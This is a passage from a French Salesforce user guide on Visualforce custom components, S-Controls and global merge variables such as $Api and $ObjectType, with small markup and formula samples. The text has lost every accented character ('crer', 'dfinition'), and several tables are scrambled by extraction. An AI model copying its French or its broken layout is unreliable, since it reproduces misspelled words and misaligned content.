Par exemple, supposez que vous souhaitiez crer un album photo l'aide de pages Visualforce. Chaque photo de l'album
possde sa propre couleur de bordure et un texte de lgende qui s'affiche en dessous. Plutt que de rpter la marquage
Visualforce ncessaire pour afficher chaque photo de l'album, vous pouvez dfinir un composant personnalis appel
singlePhoto qui possde des attributs d'image, de couleur de bordure et de lgende, puis utiliser ces attributs pour afficher
l'image sur la page. Une fois dfinie, chaque page Visualforce de votre entreprise peut utiliser le composant personnalis
singlePhoto de la mme faon qu'une page peut utiliser des composants standard tels que <apex:dataTable> ou
<apex:relatedList>.
la diffrence des modles de page, qui permettent aussi aux dveloppeurs de rutiliser le balisage, les composants personnaliss
offrent plus de puissance et de flexibilit car :
Les composants personnaliss permettent aux dveloppeurs de dfinir des attributs qui peuvent tre transmis dans chaque
composant. La valeur d'un attribut peut alors changer la faon dont le balisage est affich sur la page finale et la logique
base sur le contrleur qui est excut pour cette instance du composant. Ce comportement diffre de celui des modles,
qui ne dispose pas de moyen pour transmettre des informations de la page qui utilise un modle la dfinition mme du
modle.
Les descriptions de composant personnalis sont affiches dans la bote de dialogue de rfrence du composant de l'application
avec les descriptions de composant standard. Les descriptions de modle, par contre, ne peuvent tre rfrences que par
la zone de configuration de Salesforce.com car elles sont dfinies comme pages.

Voir aussi :
Dfinition des composants personnaliss
Gestion des composants personnaliss
Affichage et modification de composants personnaliss

Dfinition des composants personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer des composants personnaliss :

Personnaliser l'application

Pour crer un composant personnalis :

Dans Salesforce.com, cliquez sur Configuration Dvelopper Composants.
Cliquez sur Nouveau.
Dans la zone de saisie tiquette, entrez le texte qui doit identifier le composant personnalis dans Outils de configuration.
Dans la zone de saisie Nom, entrez le texte qui doit identifier le composant personnalis dans le balisage Visualforce. Ce
nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation.
Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas
contenir deux traits de soulignement conscutifs.
5. Dans la zone de saisie Description, entrez une description du composant personnalis. Cette description apparat dans
la rfrence du composant ainsi que d'autres descriptions de composant standard ds que vous cliquez sur Enregistrer.
1.
2.
3.
4.

Dvelopper

Guide de l'utilisateur | Dfinition des composants personnaliss | 967

6. Dans la zone de saisie Corps, entrez le balisage Visualforce pour la dfinition du composant personnalis. Un composant
peut contenir jusqu' 1 Mo de texte, soit approximativement 1 000 000 de caractres.
7. Cliquez sur Paramtres de version pour spcifier la version de Visualforce et de l'API utilise avec ce composant. Si votre
organisation a des packages grs installs depuis AppExchange, vous pouvez galement spcifier la version de chaque
package gr utiliser. Gnralement, vous devez utiliser les valeurs par dfaut pour toutes les versions. Elles associent la
page au composant le plus rcent de Visualforce et de l'API, ainsi que de chaque package gr. Vous pouvez spcifier une
version antrieure de Visualforce et de l'API pour conserver un comportement spcifique. Vous pouvez spcifier une version
antrieure d'un package gr si vous souhaitez accder des composants ou des fonctionnalits du package qui diffrent
de la version la plus rcente du package.
8. Cliquez sur Enregistrer pour enregistrer vos modifications et afficher l'cran de dtails du composant personnalis ou
cliquez sur Enregistrement rapide pour enregistrer vos modifications et continuer modifier le composant. Votre balisage
Visualforce doit tre valide pour que vous puissiez enregistrer votre composant.
Remarque: Vous pouvez aussi crer un composant personnalis dans lemode de dveloppement deVisualforce en
ajoutant une rfrence un composant personnalis qui n'existe pas encore dans le balisage de page Visualforce. Aprs
avoir enregistr le balisage, un lien de rectification rapide s'affiche et vous permet de crer une nouvelle dfinition de
composant (y compris des attributs spcifis) en fonction du nom que vous avez donn au composant.
Par exemple, si vous n'avez pas encore dfini un composant personnalis appel myNewComponent et que vous avez
introduit <c:myNewComponent myNewAttribute="foo"/> dans le balisage d'une page existante, aprs avoir
cliqu sur Enregistrer une correction rapide vous permet de dfinir un nouveau composant personnalis appel
myNewComponent avec la dfinition par dfaut suivante :
<apex:component> <apex:attribute name="myattribute" type="String" description="TODO:
Describe me"/> <!-- Begin Default Content REMOVE THIS --> <h1>Congratulations</h1>
This is your new Component: mynewcomponent <!-- End Default Content REMOVE THIS -->
</apex:component>

Vous pouvez modifier cette dfinition dans la zone de configuration en cliquant sur Configuration Dvelopper
Composants puis sur Modifier ct du nouveau composant personnalis myNewComponent.

Voir aussi :
Prsentation d'un composant personnalis
Gestion des composants personnaliss
Affichage et modification de composants personnaliss
Gestion des paramtres de version de composants personnaliss

Dvelopper

Guide de l'utilisateur | Dfinition des composants personnaliss | 968

Gestion des paramtres de version de composants personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour cloner, modifier, supprimer ou dfinir des composants
personnaliss :

Personnaliser l'application

Pour faciliter la rtrocompatibilit, chaque composant Visualforce est enregistr avec les paramtres de la version spcifie de
l'API, ainsi que la version spcifique de Visualforce. Si le composant Visualforce rfrence des packages grs installs, les
paramtres de version de chaque package gr, rfrenc par le composant Visualforce, sont galement enregistrs. Ainsi,
lorsque Visualforce, l'API et les composants de packages grs voluent avec les versions publies ultrieurement, un composant
reste li aux versions avec un comportement spcifique connu.
Une version de package est un ensemble de composants tlchargs dans un package. Elle est indique par un numro de
version qui se prsente sous le format numroPrincipal.numroSecondaire.numroCorrectif tel que 2.1.3. Notez
que le numroCorrectif est gnr uniquement si vous crez un correctif. En l'absence de correctif, le numroCorrectif
indique un zro (0). Les versions de correctifs sont disponibles via un programme pilote. Pour plus d'informations sur l'activation
de versions de correctifs pour votre organisation, contactez salesforce.com.
Remarque: Les composants de package et le composant personnalis sont des concepts distincts. Un package comprend
de nombreux composants, tels que des objets personnaliss, des classes et des dclencheurs Apex et des composants
personnaliss.
Les versions de package permettent aux diteurs d'adapter les composants de leurs packages grs en publiant gracieusement
des versions ultrieures sans gner les intgrations clientes existantes en utilisant le package.
Pour dfinir l'API Salesforce.com et la version Visualforce pour un composant personnalis :
1. Modifiez un composant personnalis, puis cliquez sur Paramtres de version.
Remarque: Vous pouvez accder aux paramtres de version d'un composant personnalis uniquement si vous
modifiez ce dernier en cliquant sur Configuration Dvelopper Composants. Vous ne pouvez pas accder
aux paramtres de version si vous modifiez un composant personnalis l'aide du Mode dveloppeur.
2. Slectionnez la Version de l'API Salesforce.com. Il s'agit galement de la version de Visualforce utilise avec le composant
personnalis.
3. Cliquez sur Enregistrer.
Pour configurer les paramtres de version du package pour un composant personnalis :
1. Modifiez un composant personnalis, puis cliquez sur Paramtres de version.
2. Slectionnez une Version pour chaque package gr rfrenc par le composant personnalis. Cette version du package
gr continue d'tre utilise par le composant personnalis si des versions ultrieures du package gr sont installes, sauf
si vous mettez manuellement jour le paramtre de version. Pour ajouter un package gr install la liste des paramtres,
slectionnez un package dans la liste des packages disponibles. Cette liste s'affiche uniquement si un package gr install
n'est pas dj associ la page ou au composant.

Dvelopper

Guide de l'utilisateur | Gestion des composants personnaliss | 969

3. Cliquez sur Enregistrer.

Notez les points suivants lorsque vous utilisez des paramtres de version de package :

Si vous avez un composant personnalis qui rfrence un package gr sans spcifier sa version, le composant personnalis
est associ par dfaut la dernire version installe du package gr.
Vous ne pouvez pas Supprimer le paramtre de version d'un composant personnalis pour un package gr si le package
est rfrenc par le composant personnalis. Utilisez Afficher les dpendances pour connatre l'emplacement du
rfrencement du package gr.

Voir aussi :
Prsentation d'un composant personnalis
Gestion des composants personnaliss
Affichage et modification de composants personnaliss
propos des packages grs
Prsentation d'une version de package

Gestion des composants personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des composants personnaliss :

Personnaliser l'application

Aprs avoir cr des composants personnaliss, vous pouvez les afficher, les modifier et les supprimer. Cliquez sur Configuration
Dvelopper Composants pour afficher la page de liste Composants qui contient la liste des composants personnaliss
dfinis pour votre entreprise. partir de cette page, vous pouvez :

Cliquez sur Nouveau pour dfinir un nouveau composant personnalis.

Cliquez sur le nom d'un composant personnalis pour afficher des informations dtailles sur le composant.
Cliquez sur Modifier pour modifier le nom ou le marquage d'un composant.
Remarque: Une icne indique la prsence d'un composant personnalis Visualforce dans un package gr
install. Vous ne pouvez pas modifier ou supprimer un composant personnalis Visualforce dans un package gr.

Cliquez sur Suppr pour supprimer un composant personnalis de votre entreprise.

Remarque: Le prfixe d'espace de noms est ajout aux classes Apex, aux dclencheurs Apex, aux composants Apex,
aux pages Visualforce, aux modles de marques, aux dossiers, aux commandes s-controls, aux ressources statiques, aux
liens Web et aux types de rapports personnaliss s'ils sont inclus dans une package gr. Toutefois, si votre profil n'a
pas d'autorisations d'application personnalises, le champ de prfixe d'espace de noms ne s'affiche pas pour les modles

Dvelopper

Guide de l'utilisateur | Affichage et modification de composants personnaliss | 970

de marques, les dossiers et les types de rapports personnaliss. Pour plus d'informations sur les prfixes d'espace de
noms, reportez-vous Enregistrer un prfixe d'espace de noms la page 875.

Voir aussi :
Prsentation d'un composant personnalis
Dfinition des composants personnaliss
Affichage et modification de composants personnaliss

Affichage et modification de composants personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour cloner, modifier, supprimer ou dfinir des composants
personnaliss :

Personnaliser l'application

Cliquez sur Configuration Dvelopper Composants puis cliquez sur le nom d'uncomposant personnalis pour afficher
sa dfinition.
partir de la page de dtails, vous pouvez effectuer les oprations suivantes :

Cliquez sur Modifier pour modifier le composant personnalis.

Cliquez sur Supprimer pour supprimer le composant personnalis.
Cliquez sur Cloner pour crer une copie du composant personnalis. Vous devez spcifier un nouveau nom pour le nouveau
composant.
Cliquez sur O cette option est-elle utilise ? pour afficher la liste de toutes les rfrences de composant personnalis de
votre organisation.
Cliquez sur Afficher les dpendances pour afficher les lments, tels que d'autres composants, autorisations ou prfrences
qui doivent exister pour valider ce composant personnalis. Pour plus d'informations, reportez-vous Prsentation des
dpendances la page 853.

Pour faciliter la rtrocompatibilit, les composant personnaliss sont stocks avec les paramtres d'une version Visualforce
spcifique et l'API. Si la page rfrence des composants de package, par exemple un objet personnalis, dans un package gr
install, les paramtres de version de chaque package gr rfrenc par le composant personnalis sont galement enregistrs.
Une fois que votre composant est cr, vous pouvez le consulter
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, o la valeur de mySalesforceInstance
est le nom de l'hte de votre instance Salesforce.com (par exemple, na3.salesforce.com) et o la valeur de
nameOfNewComponent est celle du champ Nom de la dfinition du composant personnalis.

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 971

Le composant s'affiche comme s'il s'agissait d'une page Visualforce. Par consquent, si votre composant est bas sur des attributs
ou sur le contenu du corps de la balise du composant, cette URL peut gnrer des rsultats inattendus. Pour tester plus
prcisment un composant personnalis, ajoutez-le une page Visualforce puis affichez la page.

Voir aussi :
Prsentation d'un composant personnalis
Dfinition des composants personnaliss
Gestion des composants personnaliss
Gestion des paramtres de version de composants personnaliss

Dfinition des commandes Custom S-Control

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des commandes custom
s-control :

Personnaliser l'application

La bibliothque de commandes custom s-control est un endroit o vous pouvez stocker et tlcharger du contenu destin
un grand nombre d'activits dans Salesforce.com, par exemple : les liens personnaliss, les onglets Web, les boutons personnaliss
et les tableaux de bord. Les commandes S-Control constituent un moyen ouvert et flexible d'tendre la porte de l'interface
utilisateur Salesforce.com, en offrant mme la possibilit de crer et d'afficher vos propres formulaires personnaliss.
Une commande s-Control peut accueillir tous les types de contenu qui peuvent tre affichs ou excuts dans un navigateur,
comme, par exemple, une applet Java, un contrle ActiveX, un fichier Excel ou un formulaire Web HTML personnalis.
Pour dfinir une commande S-Control :
1. Cliquez sur Configuration Dvelopper Commandes S-Control.
2. Cliquez sur Nouvelle commande Custom S-Control ou sur Modifier pour modifier une commande Custom S-Control
existante.
3. Entrez les attributs suivants :
Nom d'attribut

Description

tiquette

Texte qui apparat sur les prsentations de page des commandes s-control intgres.

Nom de la commande
S-Control

Nom unique de la commande s-control. Ce nom ne peut contenir que des caractres de
soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il doit
commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de
soulignement et ne doit pas contenir deux traits de soulignement conscutifs.

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 972

Nom d'attribut

Description

Type

Dtermine la faon dont vous pensez utiliser la commande s-control :

HTML
Slectionnez cette option si vous souhaitez saisir le contenu de votre commande s-control
dans la zone Content.
URL
Slectionnez cette option si vous souhaitez saisir le lien ou l'URL d'un site Web externe
dans la zoneContent.
Bout de code (snippet)
Les snippets sont des commandes s-control conues pour tre incluses dans d'autres
commandes du mme type. Slectionnez cette option si vous souhaitez saisir le contenu
du snippet de votre commande s-control dans la zone Content.

Description

Texte qui dcrit la commande s-control. Il ne s'affiche que pour les administrateurs.

Contenu

Saisissez le contenu ou la source de votre commande s-control. Ce champ peut contenir

jusqu' 1 million de caractres. Le code HTML dfinit prcisment la manire dont les
utilisateurs voient la commande Custom S-Control.
Si vous laborez une formule dans l'onglet Formule avance pour des approbations ou
des rgles, telles qu'un workflow, une validation, une attribution, une rponse automatique
ou une hirarchisation, cliquez sur Insrer un champ, choisissez un champ, puis cliquez
sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques,
slectionnez l'onglet Formule simple, choisissez le type de champ dans la liste droulante
Slectionner un type de champ, puis l'un des champs de la liste droulante
Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et
rfrencent des champs de fusion dans ces objets.

Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste

droulante Insrer un oprateur. Utilisez les exemples de la section Oprateurs et
fonctions la page 475.
Pour insrer une fonction, double-cliquez sur son nom dans la liste, ou slectionnez-la et
cliquez sur Insrer la fonction slectionne. Pour filtrer la liste de fonctions, choisissez
une catgorie dans la liste droulante Fonctions. Slectionnez une fonction et cliquez
sur Aide sur cette fonction pour lire sa description et consulter des exemples de formule
faisant appel cette fonction.
Pour rfrencer un fichier tlcharg dans le champ Nomfichier comme faisant partie
de la commande custom s-control, slectionnez Custom S-Control dans la liste droulante
Slectionnez un type de champ et choisissez Custom S-Control URL pour
obtenir le champ de fusion correspondant. Dans le cas d'une applet Java, vous pouvez
galement utiliser les champs de fusion {!Scontrol_JavaCodebase} et
{!Scontrol_JavaArchive}.

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 973

Nom d'attribut

Description
Conseil: Les normes Internet imposent un codage particulier des URL.
Salesforce.com code automatiquement le texte d'un champ de fusion que vous
insrez dans un lien. Codez manuellement tout autre texte dans votre lien. Par
exemple, pour gnrer l'URL suivante :
http://www.google.com/search?q={!user.name} Steve Mark 50%

Utilisez ce contenu :
http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce.com efface automatiquement les guillemets dans les URL, lorsque la

Source de contenu est une URL. Si vous souhaitez utiliser des guillemets,
codez-les manuellement. Par exemple, pour gnrer l'URL
http://www.google.com/search?q="salesforce+fondation", utilisez
ce contenu :
http://www.google.com/search?q=%22salesforce+fondation%22.
Nomfichier

Tlchargez un fichier afficher lorsque vous ajoutez cette commande custom s-control un
lien personnalis. Le fichier peut contenir une applet Java, un contrle ActiveX ou un autre
type de contenu. Cette option ne s'applique qu'aux commandes s-control HTML.

Prconcevoir en
page

Cette option mmorise la commande s-control, ce qui peut amliorer les performances lors
d'un nouveau chargement de la page car la commande est dj charge. Cette option ne
s'applique qu'aux commandes s-control HTML.

Codage

Le paramtre de codage par dfaut est Unicode (UTF-8). Modifiez-le si vous transmettez
des informations une URL exigeant des donnes dans un autre format. Cette option est
disponible lorsque vous slectionnez URL comme type.

4. Vous pouvez galement cliquer sur Vrifier la syntaxe pour valider tous les champs de fusion et toutes les fonctions
Salesforce.com.
5. Lorsque vous avez termin, cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrement rapide pour
enregistrer et poursuivre les modifications.
6. Crez un lien ou un bouton personnalis pour que les utilisateurs voient la commande Custom S-Control. Reportez-vous
Configuration des boutons et liens personnaliss la page 579. Vous pouvez galement crer un onglet Web via une
commande custom s-control ou ajouter la commande s-control une prsentation de page ou untableau de bord. Vous
pouvez galement utiliser une commande s-control comme contenu d'aide en ligne pour un objet personnalis.

Voir aussi :
Rle des variables globales
Affichage et modification des commandes s-control
Suppression de commandes Custom S-Control
Ressources de documentation pour les dveloppeurs Force.com

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 974

Affichage et modification des commandes s-control

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des commandes custom
s-control :

Personnaliser l'application

Pour afficher les dtails d'une commande custom s-control, cliquez sur Configuration Dvelopper Commandes Custom
S-Control et slectionnez le nom de la commande s-control voulue.

Pour modifier une commande s-control, cliquez sur Modifier. Pour plus d'informations, reportez-vous Dfinition des
commandes custom s-control la page 971.
Pour supprimer une commande s-control, cliquez sur Del. Pour plus d'informations, reportez-vous Suppression de
commandes custom s-control la page 974.
Pour afficher la liste des autres composants Salesforce.com qui font rfrence la commande s-control, cliquez sur O
cette option est-elle utilise ? Pour plus d'informations, reportez-vous Affichage de rfrences des composants
Salesforce.com la page 586.

Voir aussi :
Ressources de documentation pour les dveloppeurs Force.com

Suppression de commandes Custom S-Control

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des commandes custom
s-control :

Personnaliser l'application

Salesforce.com permet de rfrencer des commandes s-control dans diffrentes zones de l'application. Avant de supprimer
une commande custom s-control, vrifiez ses utilisations.
Pour supprimer une commande Custom S-Control :
1. Cliquez sur Configuration Dvelopper Commandes s-control.
2. Cliquez sur Supprimer ct de la commande Custom S-Control supprimer.
3. Cliquez sur OK pour terminer.

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 975

Remarque: Vous ne pouvez pas supprimer une commande custom s-control utilise ailleurs dans Salesforce.com. Les
commandes s-control supprimes ne sont pas stockes dans la Corbeille.

Voir aussi :
Tlchargement des documents WSDL et des certificats d'authentification client Salesforce.com
Configuration des boutons et liens personnaliss
Dfinition des commandes Custom S-Control

Rle des variables globales

Les commandes s-control et les formules sont disponibles avec : Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Les liens et les boutons personnaliss sont disponibles dans : Toutes les ditions
Visualforce disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited
Edition et Developer Edition
Type de champ de fusion global $Profile disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des commandes custom
s-control, des formules ou des pages Visualforce :

Personnaliser l'application

Les composants tels que les commandes s-control, les boutons personnaliss, les liens personnaliss, les formules et les pages
Visualforce vous permettent d'utiliser des champs de fusion spciaux pour rfrencer les donnes de votre entreprise. Utilisez
les variables globales suivantes lorsque vous choisissez un type de champ de fusion ajouter votre composant personnalis :

$Action
Description :

Utilisation :

Type de champ de fusion global utiliser pour faire rfrence

des actions standard Salesforce.com, telles que l'affichage de
la page d'accueil de l'onglet Comptes, et la cration, la
modification et la suppression de comptes. Utilisez des champs
de fusion d'action dans les fonctions LINKTO et URLFOR
pour faire rfrence l'action slectionne.
1. Slectionnez le type de champ : $Action.
2. Insrez un champ de fusion, tel que
$Action.Account.New.

Dvelopper

Exemple de commande S-Control :

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 976

La commande s-control ci-dessous fait rfrence l'action

standard de cration de comptes dans le champ de fusion
$Action.Account.New.
<html> <body> {!LINKTO("Crer un compte",
$Action.Account.New, $ObjectType.Account)}
</body> </html>

Exemple Visualforce :

Conseils :

<apex:outputLink
value="{!URLFOR($Action.Account.New)}">Crer
un compte</apex:outputLink>

Cette variable globale n'est disponible que pour les boutons

et liens personnaliss, les commandes s-control, et les pages
Visualforce.

$Api
Description :
Utilisation :

Type de champ de fusion global utiliser pour faire rfrence

aux URL d'API.
1. Slectionnez le type de champ : $Api.
2. Slectionnez un champ de fusion tel que :

Exemple de commande S-Control :

$Api.Enterprise_Server_URL__xxx: Point de
destination SOAP de Enterprise WSDL o xxx

reprsente la version de l'API. Par exemple

$Api.Enterprise_Server_URL_140 est la valeur
du champ de fusion de la version 14.0 de l'API.
$Api.Partner_Server_URL__xxx: Point de
destination SOAP de Partner WSDL o xxx
reprsente la version de l'API.
$Api.Partner_Server_URL_120 est la valeur du
champ de fusion de la version 12.0 de l'API.
$Api.Session_ID: ID de session.

Le champ de formule personnalis ci-dessous fait appel un

service pour remplacer le code APE. Remplacez myserver
par le nom de votre serveur.
HYPERLINK("https://www.myserver.com/mypage.jsp"
& "?Username="
& $User.Username &
"&crmSessionId="
& GETSESSIONID() &
"&crmServerUrl="
&
$Api.Partner_Server_URL_90 &
"&crmObjectId="
& Id &
"&crmFieldUpdate=sicCode", "Update SIC
Code")

Exemple Visualforce :

Utiliser la notation point pour renvoyer l'ID de session.

{!$Api.Session_ID}

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 977

Conseils :

La variable globale est disponible uniquement pour les champs

de formule, les commandes s-control, les boutons et liens
personnaliss et les pages Visualforce.

$Component
Description :

Type de champ de fusion global utiliser pour faire rfrence

un composant Visualforce.

Utilisation :

Chaque composant d'une page Visualforce possde son propre

attribut id. Quand la page apparat, cet attribut est semblable
l'ID du modle DOM (Document Object Model). Utilisez
$Component.Id dans Javascript pour faire rfrence un
composant spcifique d'une page.

Exemple Visualforce :

function beforeTextSave() {
document.getElementById('{!$component.msgpost}').value
= myEditor.getEditorHTML(); }

Conseils :

Cette variable globale n'est disponible que pour les pages

Visualforce.

$componentLabel
Description :

Un champ de fusion globale utiliser pour faire rfrence l'tiquette d'un composant
inputField sur une page Visualforce associe un message.

Utilisation :

Renvoyer l'tiquette d'un composant inputField associ un message.

Exemple Visualforce :

Conseils :

<apex:datalist var="mess" value="{!messages}">

<apex:outputText value="{!mess.componentLabel}:"
style="color:red/> <apex:outputText value="{!mess.detail}"
style="color:black" /> </apex:datalist>

Cette variable globale n'est disponible que pour les pages Visualforce.

$CurrentPage
Description :

Type de champ de fusion global utiliser pour faire rfrence la page Visualforce actuelle.

Utilisation :

Utilisez cette expression sur une page Visualforce pour accder aux paramtres et aux valeurs de la
page actuelle, au nom de la page actuelle ($CurrentPage.Name) ou l'URL de la page actuelle
($CurrentPage.URL).

Exemple Visualforce :

Conseils :

<apex:page standardController="Compte"> <apex:pageBlock title="Bonjour

{!$User.FirstName}!"> Vous dpendez du compte {!account.name}.<br/> Vous
tes galement une personne sympathique. </apex:pageBlock> <apex:detail
subject="{!account}" relatedList="false"/> <apex:relatedList
list="OpenActivities" subject="{!$CurrentPage.parameters.relatedId}"/>
</apex:page>

Cette variable globale n'est disponible que pour les pages Visualforce.

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 978

$Label
Description :

Type de champ de fusion global utiliser pour faire rfrence

une tiquette personnalise sur une page Visualforce.

Utilisation :

Utilisez cette expression dans une page Visualforce pour

accder une tiquette personnalise. Lorsque le serveur
d'applications labore la page qui sera prsente au navigateur
de l'utilisateur final, la valeur renvoye dpend des paramtres
de langue de l'utilisateur contextuel. La valeur renvoye est
l'une des suivantes, par ordre de priorit :
1. le texte de traduction locale
2. le texte de traduction intgre au package
3. le texte de l'tiquette principale

Exemple Visualforce :

<apex:page> <apex:pageMessage
severity="info" strength="1"
summary="{!$Label.firstrun_helptext}" />
</apex:page>

Conseils :

Cette variable globale n'est disponible que pour les

pages Visualforce.

$Label.Site
Description :

Type de champ de fusion global utiliser pour faire rfrence une tiquette standard dans une page
Visualforce. Comme toutes les tiquettes standard, le texte s'affiche en fonction de la langue et des
paramtres rgionaux de l'utilisateur.

Utilisation :

Utilisez cette expression dans une page Visualforce pour accder une tiquette standard. Lorsque
le serveur d'applications labore la page qui sera prsente au navigateur de l'utilisateur final, la valeur
renvoye dpend de la langue et des paramtres rgionaux de l'utilisateur.
Salesforce.com fournit les tiquettes suivantes :
tiquette

Message

authorization_required

Autorisation requise

bandwidth_limit_exceeded

Limite de bande passante atteinte

change_password

Changez le mot de passe

change_your_password

Changez votre mot de passe

click_forget_password

Si vous avez oubli votre mot de passe, cliquez sur Mot

de passe oubli pour le rinitialiser.

community_nickname

Surnom

confirm_password

Confirmez le mot de passe

down_for_maintenance

<i>{0}</i> est ferm pour maintenance

email

Envoyez un e-mail

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 979

tiquette

Message

email_us

Envoyez-nous un e-mail

enter_password

Vous avez oubli votre mot de passe ? Entrez votre nom

d'utilisateur ci-dessous.

error

Erreur : {0}

error2

Erreur

file_not_found

Fichier introuvable

forgot_password

Mot de passe oubli

forgot_password_confirmation

Confirmation de mot de passe oubli

forgot_your_password_q

Vous avez oubli votre mot de passe ?

get_in_touch

Veuillez <a href="{0}">{1}</a> si vous devez rester en

contact.

go_to_login_page

Allez la page de connexion

img_path

/img/sites

in_maintenance

Arrt pour maintenance

limit_exceeded

Limite dpasse

login

Se connecter

login_button

Se connecter

login_or_register_first

Vous devez d'abord vous connecter ou vous inscrire avant

d'accder cette page.

logout

Se dconnecter

new_password

Nouveau mot de passe

new_user_q

Nouvel utilisateur ?

old_password

Ancien mot de passe

page_not_found

Page introuvable

page_not_found_detail

Page introuvable : {0}

password

Mot de passe

passwords_dont_match

Les mots de passe ne correspondent pas.

powered_by

Fourni par

register

Enregistrer

resistration_confirmation

Confirmation de l'enregistrement

site_login

Connexion au site

site_under_construction

Site en construction

sorry_for_inconvenience

Veuillez nous excuser pour le dsagrment.

Dvelopper

Exemple Visualforce :

Conseils :

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 980

tiquette

Message

sorry_for_inconvenience_back_shortly

Veuillez nous excuser pour le dsagrment. Nous serons

bientt de retour.

stay_tuned

Restez en contact.

submit

Soumettre

temp_password_sent

Un e-mail vous a t envoy avec votre mot de passe

temporaire.

thank_you_for_registering

Merci de votre inscription. Un e-mail vous a t envoy

avec votre mot de passe temporaire.

under_construction

<i>{0}</i> est en construction

user_registration

Inscription d'un nouvel utilisateur

username

Nom d'utilisateur

verify_new_password

Vrifier le nouveau mot de passe

<apex:page> <apex:pageMessage severity="info" strength="1"

summary="{!$Label.Site.temp_password_sent}" /> </apex:page>

Cette variable globale n'est disponible que pour les pages Visualforce.

$ObjectType
Description :

Utilisation :

Un type de champ de fusion global permettant de faire

rfrence aux objets standard ou personnaliss tels que les
comptes, les requtes, ou les opportunits ainsi que la valeur
d'un champ de cet objet. Utilisez les champs de fusion de type
objet dans les fonctions LINKTO, GETRECORDIDS, et
URLFOR pour faire rfrence un type de donnes spcifique
ou la fonction VLOOKUP pour faire rfrence au champ
spcifique d'un objet associ.
1. Slectionnez le type de champ : $ObjectType.
2. Slectionnez un objet pour insrer un champ de fusion
reprsentant cet objet, tel que $ObjectType.Case.
En option, vous pouvez slectionner un champ dans cet
objet l'aide de la syntaxe suivante :
$ObjectType.Role_Limit__c.Fields.Limit__c

Dvelopper

Exemple de bouton personnalis :

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 981

Le bouton de liste personnalis ci-dessous fait rfrence

l'objet standard de requte dans le champ de fusion
$ObjectType.Case.
{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}
var records =
{!GETRECORDIDS($ObjectType.Case)}; var
newRecords = [];
if (records[0] == null) {
alert("Slectionnez au moins une ligne") }
else { for (var n=0; n<records.length; n++)
{ var c = new sforce.SObject("Case"); c.id
= records[n]; c.Status = "New";
newRecords.push(c); }
result =
sforce.connection.update(newRecords);
window.location.reload(); }

Exemple de rgle de validation :

Cet exemple vrifie que le code postal de facturation est valide

en recherchant les cinq premiers caractres de cette valeur dans
un objet personnalis appel Zip_Code__c qui contient un
enregistrement de chaque code postal valide en France. Si le
code postal n'est pas trouv dans l'objet Zip_Code__c ou que
le dpartement de facturation ne correspond pas au
State_Code__c de l'objet Zip_Code__c, une erreur s'affiche.
AND( LEN(BillingPostalCode) > 0,
OR(BillingCountry = "tats-Unis",
BillingCountry = "US"), VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))
<> BillingState )

Exemple Visualforce :

L'exemple suivant rcupre l'tiquette du champ nom du

compte :
{!$ObjectType.account.fields.name.label}

Conseils :

La variable globale est accessible dans les pages Visualforce,

les boutons et les liens personnaliss, les commandes s-control
et les rgles de validation.

$Organization
Description :

Type de champ de fusion global utiliser pour faire rfrence

aux informations concernant le profil de votre entreprise.
Utilisez les champs de fusion de l'entreprise pour faire rfrence

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 982

la ville, au numro de tlcopie ou l'ID de votre entreprise,

ou d'autres renseignements.
Utilisation :

Exemple de rgle de validation :

1. Slectionnez le type de champ : $Organization.

2. Slectionnez un champ de fusion tel que
$Organization.Fax.
Utilisez les champs de fusion de l'organisation pour comparer
ses attributs avec ceux de vos comptes. Par exemple, vous
souhaitez dterminer si votre organisation prsente le mme
pays que vos comptes. La formule de validation ci-dessous fait
rfrence au champ de fusion correspondant au pays de votre
